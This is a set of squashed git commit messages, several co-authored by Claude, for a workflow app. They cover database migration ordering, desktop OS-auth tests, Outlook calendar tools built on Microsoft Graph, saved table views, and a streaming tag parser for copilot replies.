Co-Authored-By: Claude <noreply@anthropic.com>

* chore(db): drop branch migration ahead of staging merge

Both sides independently claimed idx 0272, so the snapshot and journal would
conflict add/add. Ours is plain additive DDL (one enum, two columns, one jsonb
default) that drizzle regenerates from schema.ts; staging's is a hand-written
migration with DO blocks and CONCURRENTLY index builds that cannot be
regenerated. Dropping ours and re-generating on top of staging's is the only
order that preserves both.

schema.ts is deliberately untouched — it is the source of the regeneration.

Co-Authored-By: Claude <noreply@anthropic.com>

* style(db): biome-format the regenerated migration metadata

drizzle-kit emits _journal.json and the snapshot with expanded arrays, which
biome check rejects. The merge commit used --no-verify, so lint-staged never
formatted them and CI's lint step failed on exactly these two files.

Whitespace only — both files are byte-identical under `jq -S -c`.

Co-Authored-By: Claude <noreply@anthropic.com>

* fix(desktop): pin the platform in the OS-auth tests

promptForSecret gates Touch ID on process.platform === 'darwin'. The suite
mocked electron's systemPreferences but inherited the runner's real platform,
so the eight biometric expectations passed on a Mac and failed on Linux CI,
where every call fell through to the confirmation dialog instead.

Pins the platform per-test and restores it after, and adds a case for the gate
itself — the branch whose absence from the suite is what let this through.

Co-Authored-By: Claude <noreply@anthropic.com>

* fix(desktop): refine environment dock icons

* fix(desktop): align packaged environment icons

* fix(desktop): keep packaged dock icon rendering consistent

* fix(desktop): origin urls for prod

---------

Co-authored-by: Siddharth Ganesan <siddharthganesan@gmail.com>
Co-authored-by: Claude Fable 5 <noreply@anthropic.com>
Co-authored-by: Waleed <walif6@gmail.com>
Co-authored-by: Theodore Li <theo@sim.ai>
…act (#6040)

* fix(db): encode Date binds in raw sql, document the fetch_types contract

* fix(testing): drop template placeholders from mock error message for biome
* feat(outlook): add Calendars.ReadWrite and MailboxSettings.Read scopes

Extend the shared outlook OAuth service with delegated Graph calendar scopes so
one Microsoft connection covers mail and calendar. Existing connected users must
reconnect to be granted the new scopes (noted in a code comment). Adds human-readable
scope descriptions and test assertions.

* feat(outlook): add Microsoft Graph calendar tools

Six calendar operations against graph.microsoft.com/v1.0: list events (calendarView
with nextLink paging), get, create, update (partial PATCH), delete, and respond to
invites. Shared calendar-utils handles Graph's offset-less dateTime+timeZone shape,
attendee normalization, and event flattening. All tools carry the Microsoft Graph
error extractor and 429/backoff retry (honors Retry-After) for the mailbox concurrency
limit. Registered in the tool registry and barrel.

* feat(outlook): surface calendar operations in the Outlook block

Add six calendar operations to the Outlook block operation dropdown with their
conditional subBlocks, tool wiring, inputs, and event-shaped outputs. Mail operations
are unchanged and backward compatible.

* fix(outlook): address calendar review findings

- Validate list-events pageToken origin with assertGraphNextPageUrl (matches the
  onedrive/microsoft_ad Graph paging guard) so a workflow-supplied URL can't receive
  the Outlook bearer token.
- All-day create/update now normalize both bounds to midnight and force an exclusive
  end day (buildAllDayRange), instead of sending a zero-length same-midnight window
  that Graph rejects.
- Drop the stale 'suggest meeting times' claim from the block longDescription.
- Remove the unused MailboxSettings.Read scope (least privilege; no tool reads it).

* feat(outlook): add calendar picker and harden calendar tools

Validation pass over the new Microsoft Graph calendar operations against the
v1.0 API docs, plus the calendar selection the tools were missing.

- Add an `outlook.calendars` picker (GET /me/calendars) with basic selector +
  advanced manual ID, wired through the `calendarId` canonical param. List and
  create now target `/me/calendars/{id}/...`; get/update/delete/respond keep
  using `/me/events/{id}` since event IDs are mailbox-unique.
- Fix all-day update rejecting when only one bound is supplied — both bounds are
  now normalized to midnight with an exclusive end day.
- Fix "Send Response to Organizer" reading as OFF while Graph's default is to
  notify; it is now a dropdown defaulting to Yes, and the param is always sent.
- Add timestamp wandConfig to the four calendar datetime fields and a list
  wandConfig to attendees.
- Centralize Graph URL construction in calendar-utils; guard maxResults against
  non-numeric input and trim the calendarView time-window bounds.
- Add three calendar templates and four calendar skills to OutlookBlockMeta.
- Regenerate integration docs.

* fix(outlook): scope online-meeting comments to what Graph documents

onlineMeetingProvider is optional and defaults to unknown; the docs state that
setting isOnlineMeeting alone initializes onlineMeeting. They do not document
Graph substituting the calendar's defaultOnlineMeetingProvider, so the comments
now claim only that, plus the real reason not to pin teamsForBusiness (mailboxes
that disallow it via allowedOnlineMeetingProviders).

* fix(outlook): allow calendar paging without re-supplying the time window

Cursor Bugbot round: startDateTime/endDateTime were required tool params, so a
paging call carrying only pageToken failed validateToolParameters before the
request was built — even though the url builder short-circuits on pageToken and
ignores both bounds. Relax them to optional and enforce the real invariant
(pageToken OR both bounds) in the url builder, matching
tools/sharepoint/list_sites.ts. Block subblocks stay required, so the normal
editor flow is unchanged.

Also correct the calendar_respond comment: Graph documents exactly two 400
conditions for accept/decline, both on proposedNewTime, which we never send.
A non-empty comment alongside sendResponse=false is valid.

* feat(outlook): add Calendars.ReadWrite.Shared for shared calendars

The calendar picker lists /me/calendars, which can include calendars other
users have shared with or delegated to the account. Calendars.ReadWrite covers
only the user's own calendars, so selecting a shared team calendar would 403 on
both read and write.

Calendars.ReadWrite is kept alongside it, not replaced: Graph documents it as
the sole accepted permission for creating and updating events and for
accept/tentativelyAccept/decline (all list "Higher: Not available"), so the
.Shared scope does not subsume it.

Added now rather than later because this PR already forces existing Outlook
users to re-consent for Calendars.ReadWrite; deferring would cost them a second
reconnect.

* fix(outlook): treat date-only bounds as all-day and guard partial all-day updates

Cursor round 2:

- Date-only bounds no longer produce a zero-length window. The param docs invited
  a date like 2025-06-03 for an all-day event, but buildAllDayRange only ran when
  isAllDay was explicitly true, so date-only input built a 00:00->00:00 timed
  window that Graph rejects. A date-only bound carries no time, so the only
  coherent reading is all-day; create/update now promote on that shape and the
  descriptions state it.
- Converting an event to all-day with no bounds now fails with an actionable
  message instead of a Graph 400. Graph requires all-day events to have midnight
  start and end in the same zone, and those cannot be derived from a partial
  PATCH against an event whose existing bounds are timed.

* docs(outlook): note that the calendar window fields are ignored when paging

* fix(outlook): don't promote a lone date-only bound to all-day on update

Regression from the previous round's date-only promotion. A single date-only
startDateTime or endDateTime satisfied "all provided bounds are date-only", so
the tool promoted to all-day and derived the missing side from the supplied one
— turning a partial reschedule of a timed or multi-day event into a one-day
all-day event and dropping the original other bound.

Implicit promotion now requires BOTH bounds to be date-only, matching
calendar_create_event. A lone date-only bound is ambiguous (convert to all-day,
or just move that edge?) and a PATCH cannot read the event's existing bounds to
disambiguate, so it stays on the timed path and leaves the other side untouched.
Deriving a missing bound remains allowed when isAllDay is set explicitly, since
that is stated intent rather than a guess.

Also pins the explicit-isAllDay-false + date-only override with a regression
test: the block always sends isAllDay for create, so an untouched switch arrives
as false, and the data shape has to win or the fix would be unreachable from the
UI.

* revert(outlook): drop Calendars.ReadWrite.Shared from the outlook provider

Reverts the scope I added two rounds ago. It was the wrong call.

This provider is shared by work/school AND personal Outlook accounts, and the
.Shared calendar scopes are not confirmed supported for personal Microsoft
accounts. Requesting one risks failing consent for personal users — which would
take mail access down with it, breaking functionality that works today. The PR
already documents this exact reasoning as why findMeetingTimes was excluded, and
that decision was made against a live personal mailbox.

The evidence I added it on was a summarized read of the permissions reference
claiming MSA support; a targeted follow-up could not confirm it for
Calendars.ReadWrite.Shared specifically. Given the asymmetry — broken consent
for all personal users vs. a shared-calendar feature gap — least privilege wins.

Calendar operations therefore target calendars the account owns. The calendarId
param descriptions now say a calendar shared by another user may return 403, and
the scope list carries a comment explaining why .Shared must not be re-added.

* fix(outlook): make retried event creates duplicate-safe via transactionId

The retry config opts POSTs in via retryIdempotentOnly:false, but the executor's
isRetryableFailure covers 429 AND 500-599 — not just the throttle the comment
justified. A 5xx returned after Graph had already committed a create would be
retried and produce a duplicate calendar event.

create_event now sends a transactionId, which Graph documents for exactly this:
it discards a repeat POST carrying an id it has already seen. The request body is
built once per execution (formatRequestParams runs before the attempt loop), so
the id is stable across retries of a call and unique between calls.

The retry comment now describes what actually retries and why each non-idempotent
method is safe: PATCH replays the same partial body as a no-op, and respond is
state-idempotent though a post-commit retry can send the organizer a second
notification — accepted deliberately, since Graph exposes no transactionId for
accept/decline and failing outright under throttling is worse.

* fix(outlook): tighten date-only detection and align online-meeting copy

Final validation pass over the calendar integration.

- isDateOnly matched "contains no T", so a space-separated datetime
  (2025-06-03 10:00) counted as date-only: the time was discarded and the value
  built as '2025-06-03 10:00T00:00:00', which Graph rejects. It now matches
  YYYY-MM-DD strictly, and buildGraphEventDateTime normalizes the space form to
  ISO rather than mangling it, so a natural input works instead of 400ing.
- The isOnlineMeeting param descriptions still claimed Graph 'uses the mailbox
  default provider' — the same unverified mechanism already removed from the code
  comments. They now state only what the docs and the author's live testing
  support: the join URL depends on the providers the mailbox allows, and stays
  null on personal accounts.
- Adds blocks/blocks/outlook.test.ts following the repo's per-block test
  convention: every calendar operation resolves to a registered tool in
  tools.access, supplies all required tool params, emits no params the tool
  cannot accept, maps one-to-one onto the calendar tools, and the calendarId
  canonical group and sendResponse default are pinned.

---------

Co-authored-by: Waleed Latif <walif6@gmail.com>
Co-authored-by: Bill Leoutsakos <billleoutsakos@Bills-MacBook-Pro.local>
* feat(tables): saved views with filter, sort, and column presets

* fix(tables): views own column layout, preserve deep-linked sort, seed update cache

* fix(tables): merge view layout writes server-side, keep layout on save-from-All

* fix(tables): send view saves as a merge patch so concurrent writes can't clobber

* fix(tables): persist explicit All selection, prune view state for deleted columns

* fix(tables): key-order-stable dirty check, reset layout when switching to All

* fix(tables): return 404 when patching a missing view

* improvement(tables): order the bar filter, sort, columns and drop the hidden count

* fix(tables): record newly created columns in the active view's order

* fix(tables): don't write layout as a reader, clear dead sort, reset dead view id

* feat(tables): add New view to the views menu, starting from All

* chore(api): bump route-count baseline to 981 after staging merge

* fix(tables): guard default demotion, use the applied filter for dirty/save

* fix(tables): clear state when the active view is deleted externally

* revert(tables): drop the ineffective rows-query gate for view resolution

* feat(tables): enable saved views in the embedded mothership table

* fix(tables): resolve the views flag on the chat route too

* improvement(tables): right-align the embedded run/stop control

* fix(tables): live layout on new views, prune stored config, order cache writes

* fix(tables): live layout on save-as-view, reset it per view, ignore inherited param when embedded

* fix(tables): route undo/redo column-layout writes to the active view

* fix(tables): scope layout undo to the view that recorded it

Layout is view-owned, but UndoEntry carried no owner, so the persistence
sink — rebound every render to the active view — decided the target at undo
time rather than at record time. Reordering in view A then undoing from view
B wrote A's column order into B and left A unchanged.

Entries are now stamped with the active view id, and the three layout-bearing
action types (create-column, delete-column, reorder-columns) are pruned from
both stacks when the active view changes. Row and schema actions are
table-scoped and survive the switch untouched. Inert when views are disabled:
the id is always null, so nothing is ever pruned.

* fix(tables): send only the layout keys an action changes

Pin, reorder, and insert-column each shipped a full columnWidths snapshot
they never modified. Both sinks merge at top-level key granularity, so an
earlier-issued patch landing after a concurrent resize replaced the newer
width map with its stale copy.

Resize, auto-resize, and delete-column still send columnWidths — those
genuinely change it.

* fix(tables): don't strand layout writes while views load, keep schema undos across views

Two more instances of layout being written without a known owner.

The sink was left unbound until a view resolved, so a resize/reorder/pin (or
the column-append effect) during the views fetch fell through to the table's
shared metadata — corrupting All for a table about to adopt a view, and losing
the edit to the re-seed. The sink is now bound while the query is in flight and
suppresses the write. An error counts as settled, so a failed views fetch falls
back to All instead of suppressing layout writes for the session.

Pruning was also too broad: create-column and delete-column are table-scoped
schema ops that merely have a layout side-effect, so dropping them on a view
switch made a deleted column unrecoverable. Only reorder-columns is purely
layout and still prunes; the other two survive and have just their layout half
suppressed at replay when the recorded view isn't active.

* fix(tables): flush layout buffered during load when the owner settles to All

Suppressing the write while the views query was in flight stopped All from
being corrupted, but nothing resolved the buffer afterwards, so a resize during
load looked applied and vanished on refresh.

Settling on All re-seeds nothing (viewLayoutKey never changed), so the gesture
is still on screen and is now persisted to shared metadata. Adopting a view
re-seeds the grid from that view and has already replaced the gesture on
screen, so the buffer is dropped to match.

* fix(tables): resolve undo layout ownership at write time, not dispatch time

The layout writes for column create/delete happen in mutation success
callbacks, and persistLayoutRef is rebound every render. Resolving
entryOwnsLayout up front meant the guard could still hold from before a view
switch while the sink it guarded already pointed at the destination, writing
the recorded view's layout into whichever view was now active.

Now a function, so the guard and the sink are read at the same moment: switch
away mid-mutation and the schema half still lands while the layout half is
dropped, matching the rule that undo only ever affects the view on screen.

* fix(tables): read layout from the grid instead of mirroring it

The wrapper kept two shadow copies of the grid's column layout — liveLayoutRef
and pendingLayoutRef — and all three of this round's findings were that mirror
going stale:

- liveLayoutRef was only cleared on activeView.id change, so widths buffered
  before the views query settled survived into All, where layout writes bypass
  the mirror entirely. Both create paths spread it last, so a saved view stored
  those snapped-back widths.
- currentViewConfig memoized a spread of that ref, and mutating a ref doesn't
  re-run a memo, so Save as view sent the pre-gesture layout.
- The flush effect keyed on activeView, but adoption writes the view id through
  the URL, so for one render the query had settled while activeView was still
  null — flushing to All in exactly the case that had to drop.

The grid owns this state, so it now publishes a reader through a sink ref and
the wrapper asks at the moment it needs a value. Nothing to keep in sync, so
nothing to go stale. Only whether an unowned change happened is tracked, and
the resolve effect — which is what actually picks the owner — decides to
persist or drop.

* fix(tables): flush unowned layout when the views fetch fails

The resolve effect is the only caller of resolvePendingLayout and gated on
isSuccess, which never becomes true on a query error — so layout touched
during the load window was never persisted on the error path, even though
the table had already settled to All and later writes worked.

The error branch now flushes to shared metadata, matching the rest of the
error path's fall-back-to-All behavior.

* fix(tables): gate the on-screen layout restore by ownership, not just the persist

The undo success callbacks applied the recorded view's order/widths/pinning to
the grid unconditionally and only gated the PATCH, so switching views before a
column create/delete mutation resolved left the destination displaying the
origin view's layout until switched away and back.

Each callback now checks ownership where its layout work begins: three are
purely layout and return at the top; delete-column undo restores cell data
first (row data, runs everywhere) and gates only the layout block below it.
In a non-owning view the restored column still appears via the grid's append
effect — at the end, leaving that view's layout untouched.

* fix(tables): route all layout writes through one owner-aware sink, reconcile order at seed

Two holes closed:

The sink binding toggled on activeView, leaving a render-frame gap after the
views query settled but before the resolve effect adopted a default — writes in
that gap fell through to shared metadata. The sink is now always bound while
views are enabled and handlePersistLayout is the single router, reading the
owner at call time: unresolved buffers, a view patches the view, All writes
metadata. The error branch stamps the owner so post-error writes stop
buffering.

The append effect only fires when the schema changes, so a column that arrived
while another source owned the layout rendered via the displayColumns fallback
but was never written into the adopted owner's stored order until a drag
happened to heal it. Seeding now reconciles the incoming order against the
schema and persists the appended tail through the current sink.

* fix(tables): capture the layout owner when a schema action is dispatched

Insert-column and the delete chain persist layout from mutation callbacks
through updateMetadataRef, which always targets the current sink — so a view
switch mid-flight wrote the origin view's order/widths/pins into the
destination. Undo got this guard already; the live paths never did.

Both now capture viewLayoutKey at dispatch and compare at the callback. On a
mismatch the layout work is skipped: the destination re-seeded its own layout,
the new column lands there via the append effect when the refetch arrives, and
the deleted column's dangling keys are pruned on read.

pushUndo also takes the captured owner as an override — stamped at callback
time it would record the destination, letting a later undo apply the origin's
layout to it.

* fix(tables): resolve views on list availability, not query success

A failed background refetch flips isError while the cached list stays usable,
and every view mutation invalidates the views query — so one blip made the
resolve effect treat views as terminally failed and stop applying switches
until the next successful refetch.

The axis is now whether a list exists: error with no list ever fetched settles
to All; error with a cached list resolves normally against the cache; owner is
unknown only while the initial fetch is in flight.

* ci: raise Build App timeout to 25 minutes

The build outgrew the 15-minute cap over the last two days of merges:
10m02 (c6acc62), then 14m44 after the folders/desktop/library batch
(adc557a, 16s under the limit), then two consecutive timeouts on
7b1af41 after the outlook merge. Staging's own latest runs show the same
signature (one cancelled). GitHub labels a job timeout "cancelled", which is
why these read as cancellations.
…esolve (#5952)

* fix(copilot): render unclosed special tags as text on completed messages

The special-tag parser suppressed everything after an opening tag with no
close, even after streaming ended — so an assistant message that merely
MENTIONED `<workspace_resource>` in prose lost its entire remainder in the
UI. The stream itself completed fine; only the render truncated.

Suppression now applies only while streaming. A completed message can never
finish an unclosed tag, so the marker was literal text and the remainder is
rendered as-is.

Originally written alongside the docs/ VFS work and reverted at review time
to keep that PR to one concern; this restores it on its own.

* improvement(copilot): show text as soon as an unclosed tag cannot resolve

Restoring the text only at end of stream left a real gap: once the model
mentions a tag in prose, everything after it stays invisible for the rest of
the stream and reappears in one jump when streaming stops. On a long reply
that is most of the message.

Two properties let us decide much earlier, both conservative — they only fire
on content that could not have parsed:

- Tags never nest, so any special-tag marker inside the body (opening OR
  closing, not just a mismatched close) proves the opener was literal text.
- JSON-bodied tags must start with `{` or `[`, so the first non-space
  character settles it — prose after the marker is caught on the very next
  chunk rather than at the end.

The second is per-tag, not global: `thinking` bodies are prose by design
(parseTextTagBody), so the JSON rule cannot apply there and only the nesting
rule can rescue it. A test documents that remaining gap rather than leaving
it implicit.

A false positive is cheap by construction: text shows early and the
end-of-stream parse still produces the correct final render.

* fix(copilot): ignore tag syntax quoted inside a JSON tag body

The nesting rule treated any tag marker in the body as proof the opener was
literal text. But a JSON body can legitimately quote tag syntax — a
`<question>` asking which tag to use, a `<workspace_resource>` whose title
mentions one — and that is exactly the "model explains its own tags"
situation this whole fix exists for.

Bailing there is the one expensive false positive in the design: the raw JSON
renders and STAYS for the rest of the stream, then snaps into a card when the
real close arrives. More jarring than the bug being fixed.

For JSON-bodied tags the nesting scan now runs over a copy with string
literals blanked (escape-aware, and tolerant of the unterminated trailing
string that is normal mid-stream). Markers in real body position still count.
`thinking` is unaffected — its body is prose, so there are no strings to
confuse it.

Tests cover both halves: the streaming case does not bail, and the same body
resolves to a question card once it closes.

* fix(copilot): keep prose a mispaired tag would swallow, and bail on dead JSON

Two more real cases from traces, both of which the earlier heuristics missed.

1. A MATCHED pair whose body fails to parse was silently dropped, cursor and
   all. When the model explains tag syntax and ends with a backticked example
   containing a real closing tag, that example closes an EARLIER opener and
   three paragraphs become the "body" — which is not valid JSON, so the whole
   span vanished and the render resumed mid-sentence (trace b095e080).

   Now emitted verbatim, but only when the body contains a tag-shaped marker,
   which is what shows the pairing was wrong. A marker-free body that merely
   fails validation is a genuinely malformed agent payload and keeps being
   dropped — an existing test asserts that deliberately, and showing the user
   raw JSON there would be a regression.

2. The JSON heuristic only checked the FIRST character, so
   `{"type":"file"}</workspac and then prose...` looked viable forever: it
   opens with `{`, and the truncated close is not a marker any rule can see
   (trace afbeefd0). Track depth instead — once the top-level value closes,
   any non-whitespace after it is fatal, so the stray character decides it
   immediately. String contents are blanked first so braces inside strings do
   not skew the count.

* fix(copilot): keep prose a tag wrapped instead of a JSON payload

Third real case from a trace (1206fd8a): `<workspace_resource>the gmail-agent
workflow</workspace_resource>` — a matched pair whose body is plain prose. The
sentence rendered as "...once I wired up to handle the welcome sequence" with
its subject silently removed.

The marker test could not fire (prose contains no tag markers), so it fell to
the deliberate drop-malformed-payload path. But that path exists for an agent
emitting BROKEN JSON, not for a tag wrapping prose.

The distinction is whether the body was ever an attempted payload, which
isViableJsonPrefix already answers: `{"type":"single_select"}` is a well-formed
JSON value failing its shape guard and keeps being dropped; `the gmail-agent
workflow` was never a payload and is emitted.

* refactor(copilot): resolve each special tag through four named outcomes

parseSpecialTags had grown five inline branches, each added for a specific
malformation found in a trace. The shape made "drop it" the implicit
fallback, which is how spans that were never malformed payloads ended up
silently swallowed.

Extracts resolveTagAt, returning one of four named outcomes — segment,
literal, discard, pending — so each decision is explicit and the main loop
just dispatches on it.

Fixes a latent bug the old shape hid: rejecting an unclosed tag ran `break`,
abandoning the rest of the message, so a genuinely valid tag after a literal
mention was never parsed. Resolution now resumes just past the rejected
opener and scanning continues. Test added.

Two behavior notes:
- Rejected spans are emitted in smaller pieces. The renderer concatenates
  adjacent text segments into one markdown string, so this is display-neutral;
  the two tests that asserted exact segment arrays now assert joined text.
- Each opener is judged on its own evidence. Previously one verdict ended the
  whole parse, so a nested opener released everything; now the outer is
  released immediately and the inner is a fresh candidate that can still hold
  mid-stream. It resolves at end of stream either way.

* test(copilot): pin the no-closing-tag case as lossless

Fourth malformation from a trace (220cc02d): the model wrote an opening tag
with valid JSON and no closing tag of any kind. No marker rule can fire —
there is no marker — but the JSON value completes and prose follows, which
the depth rule settles at the first space after the `}`.

Already handled by that rule; this pins it. Asserted as lossless rather than
merely visible: mid-stream and complete, every character of the message
survives, so nothing waits for the stream to end.

* fix(copilot): stop the literal path flashing payloads and rescanning the buffer

Review round on the four-outcome rewrite. Three defects in how an opener is
judged, plus the cost of judging it.

A valid tag showed its raw payload as text while its closing marker streamed
in. The JSON value closes at the `}`, so a half-arrived `</opt` read as stray
trailing content and settled the tag as unresolvable. Every JSON-bodied tag hit
this, and most replies carry a trailing <options> block. dropArrivingClose now
ignores a trailing fragment that could still grow into this tag's own close.
Evidence that a close is genuinely wrong still lands immediately: a misspelled
`</workflow_resource>` is not a prefix of `</workspace_resource>`, and a
truncated `</workspac` stops being one the moment prose follows it.

bodyIsLiteralText scanned the raw body for tag markers while its streaming
counterpart blanked JSON string literals first. A payload that failed its shape
guard and legitimately quoted tag syntax was therefore called literal text and
rendered as raw JSON, which is what discard exists to prevent. Both paths now
judge the same blanked body.

An opener whose own close was misspelled reached forward and matched the NEXT
tag's close, swallowing a valid resource into one literal span and destroying
its chip. When markers in the body prove the matched close belongs to a
different opener, resolution resumes past the opener so the interior is
rescanned and the inner tag still renders.

Cost: resuming past a rejected opener instead of abandoning the message made
each parse O(openers x length), and the parse re-runs for every streamed chunk.
A 40KB reply repeatedly mentioning a tag name cost 7.3s of blocked main thread.
The unclosed-body inspection is now bounded, since both rules decide on their
first piece of evidence, and the opener and close lookups are memoized per
parse rather than rescanning to the end of the buffer for every opener. Same
message: 1.2s. A realistic 40KB reply with 8 mentions: 0.35ms per parse, 28ms
across the entire stream.

Also derives JSON_BODY_TAG_NAMES from SPECIAL_TAG_NAMES so a new tag cannot
silently fall back to the weaker prose heuristics; deletes a docstring the
rewrite orphaned above TAG_SHAPED_MARKER; corrects one still describing the
first-character check that depth tracking replaced; drops a test duplicating
one already in the file; and fixes a test that named the no-nesting rule but
passed with that rule deleted, because its JSON closed before the marker.

* refactor(copilot): drop the JSON-prefix wrapper the split orphaned

Splitting isViableJsonPrefixOf out so callers that had already blanked the
body would not pay for a second pass left isViableJsonPrefix behind with no
callers. Both call sites blank the body for their own marker scan first, so
the wrapper has nothing left to do.

Biome does not flag it, so it would have sat there indefinitely.

The wrapper's docstring carried the actual argument for depth tracking over a
first-character check, which is the non-obvious part of the function; it moves
onto isViableJsonPrefixOf rather than being deleted with it, along with the
already-blanked precondition its callers rely on.

Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com>

* refactor(copilot): drop the nested-marker scan the JSON rule already covers

The unclosed-tag check ran two rules over every JSON body: a scan for nested
special-tag markers, then a JSON-viability test. The scan earned nothing there.
A marker outside a string literal is stray content the viability rule already
rejects, and a marker inside one is legitimate quoted syntax the scan is
explicitly blanked to ignore. It cost 14 substring scans per opener per streamed
chunk to catch nothing.

Verified by deletion rather than by argument: with the scan disabled for
JSON-bodied tags, the only failures were the two tests written for the scan
itself, and neither is trace-derived. One documents its own contrivance — the
array is left unclosed on purpose because a closed value would let the JSON rule
decide it. Every test pinned from a real message still passes.

The rule stays for the prose-bodied tag, where a body that is not JSON leaves
nesting as the only available evidence. The foreign-close test moves to
<thinking> to cover it there; the marker-outside-strings test goes, since its
premise was the scan.

One narrow case regresses: stray non-JSON content inside a still-open structure
(`<question>[{...} </options>`) now stays hidden until the stream ends rather
than settling mid-stream. Depth tracking counts brackets, it does not validate
syntax. Self-healing at end of stream, and buying it back means a real JSON
prefix validator — more machinery than the case is worth.

Also pins two behaviors that had no coverage and would have been "simplified"
away. The two literal reasons resume at different offsets: never-a-payload must
resume past the CLOSE, because resuming past the opener rescans an interior
whose quoted markers the blanked scan never saw, re-parsing a tag inside a JSON
string and dropping it. Collapsing the reasons passes all 54 existing tests and
silently deletes text. Escape handling in the string blanker is likewise only
observable through depth skew.

Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com>

* fix(copilot): stop the rescan deleting quoted text, and bound its cost

Review found the foreign-markers rescan reintroducing the failure this branch
exists to remove. Three fixes, each with a mutation-checked regression test.

The rescan decides on the BLANKED body but resumes at the opener and re-scans
the RAW one, so a tag quoted inside a JSON string — invisible to the decision —
is re-parsed as a real tag on the second pass and dropped. A question whose
prompt quotes a <credential> example rendered with the quoted payload deleted.
Resolution now resumes at the offset of the marker that actually survived
blanking, so the quoted region is skipped and emitted verbatim. Promotion of a
quoted tag into a live control is not reachable: quotes inside the outer JSON
string must be escaped, so the inner body never survives JSON.parse.

That offset is taken from the blanked copy and applied to the raw body, which
makes index preservation load-bearing rather than decorative. A blanked astral
character emitted one space for two UTF-16 units, shifting every later offset
left; it now emits char.length. No test pins this — the drift only moves a text
segment boundary, and adjacent text segments concatenate — so the invariant is
stated in the docstring instead of guarded by a test that cannot fail.

The matched-pair body had no size cap, unlike the unclosed path. A borrowed
close stretches one body across most of the message, and the scan reruns for
every opener inside it on every streamed chunk. A 58KB reply of that shape —
organic, it is trace b095e080's own mechanism — cost 242ms per parse on the main
thread, and the parse reruns per chunk. Bounding the scan to MAX_UNCLOSED_BODY_SCAN
brings it to 35ms. The bound needed a guard the reviewers' version omitted: when
only a prefix was inspected, finding no reason is not evidence the body was a
payload, so it resolves to literal rather than discard. Without that, capping
converts unexamined bodies into silent deletions — the naive fix would have
caused the bug it was meant to prevent.

Finally, pushText dropped whitespace-only spans. Harmless when failed tags were
dropped whole; the literal path emits a rejected span in pieces, so a blank line
between two of them vanished and two markdown paragraphs merged.

Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com>

* test(copilot): assert what a reader sees, and pin the unclosed-thinking trade

Review found several tests asserting only `hasPendingTag`. That boolean can be
correct while a wrong resumeAt drops the trailing prose — the exact defect twice
fixed on this branch — so those tests could not have caught it. They now assert
the rendered text alongside the flag.

Adds renderedText(), since a dozen tests hand-rolled the same map/join, and
switches two discard tests off exact segment-array equality onto it. How a span
splits across adjacent text segments is not observable: the renderer
concatenates them. Pinning the array shape only breaks on refactors that change
nothing a reader sees, which is what those two did.

Adds a frame-replay test. Everything else asserts one end state, so nothing
covered behavior BETWEEN streamed frames, where a card could render and then
revert. replayFrames() parses every growing prefix and asserts card count never
decreases — appending can only add closes after the ones already matched, so no
earlier opener's resolution can change.

Pins the unclosed-<thinking> behavior as a deliberate trade rather than leaving
it incidental: hidden while streaming, shown once the stream ends. Hiding is the
right mid-stream default because a close is still plausible and `thinking`
renders as nothing anyway. Showing it at the end does leak reasoning when the
close never arrives, which is accepted — that is rare, and keeping it hidden
would swallow the answer whenever the model opened the tag and then wrote the
reply without closing it.

Not taken: the reviewer suggestion to swap the prose path's tag-name scan for
TAG_SHAPED_MARKER. It matches any `<foo>`, and thinking bodies are prose that
legitimately discuss markup, so it would release those bodies early and make the
leak above more frequent — the opposite of the default just chosen.

Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com>

* docs(copilot): name the scan window's blind spot instead of glossing it

Bugbot is right that the window can hide a streaming tail, and the docstring
said the bound "reaches the same verdict as the full remainder for any real
payload" — true for every payload a tag carries, but it read as unconditional
and hid the exception.

The exception, now stated and pinned by a test: a JSON body whose top-level
value closes BEYOND the window, followed by prose and no closing tag, still
reads as a viable prefix, so the remainder waits for the stream to end instead of
settling mid-stream. Lossless — the completed parse renders every character —
and it needs a payload several times larger than any tag emits. A mention in
prose settles at its first character at any length, because prose does not open
with a brace; the test pins that half too, since it is the case that actually
occurs.

Not widening the window: the bound is what took a 58KB borrowed-close reply from
242ms to 35ms per parse, on the main thread, re-run every chunk. Trading a
measured freeze for a hypothetical one is the wrong direction. The docstring also
now covers the matched-pair path, which the same constant bounds since the
previous commit.

Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com>

* fix(copilot): make the indexOf cache correct for any call order

The cache was safe only under a precondition the code could not enforce: that
`from` never decreases within a parse. Violating it does not throw — a stale
index is returned and the parser silently mis-parses, which is the exact failure
class this branch exists to remove.

Each entry now records the offset it was searched at, and is reused only when the
new `from` is at or beyond it. A cached -1 still answers any later `from`, since
absence from an earlier offset implies absence from a later one; a cached hit
still answers when it lies ahead of `from`. Anything else rescans.

The precondition held and still holds — every non-pending outcome resumes
strictly past its opener. But it is a property of resolveTagAt's resume points,
not of this function, and one of those points deliberately resumes back inside a
span it already examined. Someone adjusting a resume point should pay a redundant
scan, not corrupt a parse.

Verified by mutation: reverting the guard fails the new backward-cursor test and
nothing else, so the guard is load-bearing and the monotonic path is unchanged.
Same-content benchmark on a 79KB reply: 3.13 ms/frame before, 2.96 after — the
entry object is allocated only on a real scan, which is already bounded.

memoizedIndexOf is exported for the test. The invariant cannot be provoked
through parseSpecialTags, because the cursor does not walk backward today; that
is the whole point, so it has to be exercised directly.

Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com>

* fix(copilot): resume at the window edge, not past the close, on a truncated body

Regression from the scan bound added two commits ago. When a borrowed close
stretches a body past MAX_UNCLOSED_BODY_SCAN and the inspected prefix is
marker-free prose, resolution resumed past the borrowed close — skipping the
uninspected remainder entirely. A valid tag sitting in that remainder was
flattened to plain text purely because of which side of the window it landed on.
Measured: with ~1KB of prose before it the chip rendered, with ~6KB it did not.

A verdict drawn from a prefix — "prose", or no verdict at all — says nothing
about the rest of the body, so resumption now lands on the first character that
was NOT inspected. Everything inspected is still emitted as text by the caller,
and scanning continues into the remainder, so the tag renders. Ordering matters:
foreign-markers keeps priority, since a marker found inside the window is a real
offset and resuming there is strictly earlier and safer.

No text was ever lost in this case — it stayed lossless throughout — but a
destroyed chip is a real regression, and it was introduced by the fix for the
previous one.

Cost is bounded: each truncated step advances a full window, so a long body costs
body-length/window re-entries rather than one scan per character. A 117KB
borrowed body parses in 0.1ms.

Verified by mutation: restoring the old resume point fails the new test at 6KB
and 60KB and nothing else. The test asserts three lengths so the boundary itself
is covered rather than one side of it.

